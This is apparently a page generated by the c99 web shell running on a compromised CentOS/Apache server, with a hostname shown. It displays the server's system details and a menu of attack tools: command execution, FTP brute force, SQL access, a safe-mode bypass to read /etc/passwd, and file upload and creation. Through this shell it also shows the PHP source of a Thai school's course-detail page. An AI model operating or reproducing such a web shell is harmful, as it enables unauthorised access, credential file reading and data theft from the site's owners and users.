!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/   drwxr-xr-x
Free 52.97 GB of 127.8 GB (41.45%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     showDetailClass.php (5.39 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
include_once "global.php";
include_once 
"class/clsClass.php";
include_once 
"class/clsProgram.php";
include_once 
"class/clsSysSemesterDes.php";
include_once 
"class/clsSysStudentYearDes.php";
include_once 
"class/clsCourse.php";

$conn = new Connection();

$oCl = new Class1();
$oPg = new Program();
$oSsd = new SysSemesterDes();
$oSsy = new SysStudentYearDes();
$oCo = new Course();
?>
<meta http-equiv="Content-Type" content="text/html; charset=TIS-620">
<link href="source/style.css" rel="stylesheet" type="text/css">
<table width="420" border="0" align="center" cellpadding="0" cellspacing="0">
    <tr>
        <td><fieldset>
            <legend align="center"><font size="3" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><b>รายละเอียดข้อมูลรายวิชาที่เปิดสอน</b></font></legend>
            <label><div align="center"><br><table width="400" align="center" border="0" cellpadding="0" cellspacing="1">
                <tr>
                    <td align="center"><table width="400" border="0" cellpadding="1" cellspacing="1" bordercolor="<?php echo $GLOBALS["COLOR_BORDER_TABLE_2"];?>">
<?php
                        $oCl
->SearchByKey($classId);
                        
$oCl->GetRecord();
?>
                        <tr>
                            <td width="130"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><strong>รหัสรายวิชาที่เปิดสอน</strong></font></td>
                            <td width="10">&nbsp;</td>
                            <td width="260"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><?php echo $oCl->classId;?></font></td>
                        </tr>
                        <tr>
                            <td height="22" bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_4"];?>"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><b>หลักสูตร</b></font></td>
                            <td height="22" bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_4"];?>">&nbsp;</td>
                            <td height="22" bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_4"];?>"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><?php if($programId=='NULL'){ echo "ไม่ระบุหลักสูตร";}else{ $oPg->SearchByKey($oCl->programId); $oPg->GetRecord(); echo $oPg->programName; } ?></font></td>
                        </tr>
                        <tr>
                            <td><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><strong>ปี</strong></font></td>
                            <td>&nbsp;</td>
                            <td><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><?php echo $oCl->acadYear;?></font></td>
                        </tr>
                        <tr>
                            <td bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_4"];?>"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><strong>ชั้นปี</strong></font></td>
                            <td bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_4"];?>">&nbsp;</td>
                            <td bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_4"];?>"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><?php $oSsy->SearchByKey($oCl->studentYear); $oSsy->GetRecord(); echo $oSsy->studentYearName;?></font></td>
                        </tr>
                        <tr>
                            <td><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><strong>ภาคการเรียน</strong></font></td>
                            <td>&nbsp;</td>
                            <td><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><?php $oSsd->SearchByKey($oCl->semester); $oSsd->GetRecord(); echo $oSsd->semesterName;?></font></td>
                        </tr>
                        <tr>
                            <td height="22" bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_4"];?>"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><b>รายวิชา</b></font></td>
                            <td height="22" bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_4"];?>">&nbsp;</td>
                            <td height="22" bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_4"];?>"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><?php $oCo->SearchByKey($oCl->courseId); $oCo->GetRecord(); echo $oCo->courseCode." ".$oCo->courseName." ".$oCo->courseUnit;?></font></td>
                        </tr>
                        <tr>
                            <td><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><strong>จำนวนกลุ่มที่เปิดสอน</strong></font></td>
                            <td>&nbsp;</td>
                            <td><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><?php echo $oCl->sectionClass;?></font></td>
                        </tr>
                        <tr>
                            <td bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_4"];?>"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><strong>กลุ่มเรียน</strong></font></td>
                            <td bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_4"];?>">&nbsp;</td>
                            <td bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_4"];?>"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><?php echo $oCl->section;?></font></td>
                        </tr>
                        <tr>
                            <td><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><strong>จำนวนที่นั่งที่เปิดรับ</strong></font></td>
                            <td>&nbsp;</td>
                            <td><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><?php echo $oCl->totalSeat;?></font></td>
                        </tr>
                        <tr>
                            <td height="22" bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_4"];?>"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><b>จำนวนที่นั่งที่ลงทะเบียน</b></font></td>
                            <td height="22" bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_4"];?>">&nbsp;</td>
                            <td height="22" bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_4"];?>"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><?php echo $oCl->enrollSeat;?></font></td>
                        </tr>                        
                    </table></td>
                </tr>
                <tr>
                    <td align="center"><br><input type="button" name="close" value="ปิดหน้าต่าง" onClick="window.close()"></td>
                </tr>
            </table></div></label>
        </fieldset></td>
    </tr>
</table>
<?php
$oCl
->Destroy();
$oPg->Destroy();
$oSsd->Destroy();
$oSsy->Destroy();
$oCo->Destroy();
$conn->Disconnect();

?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0072 ]--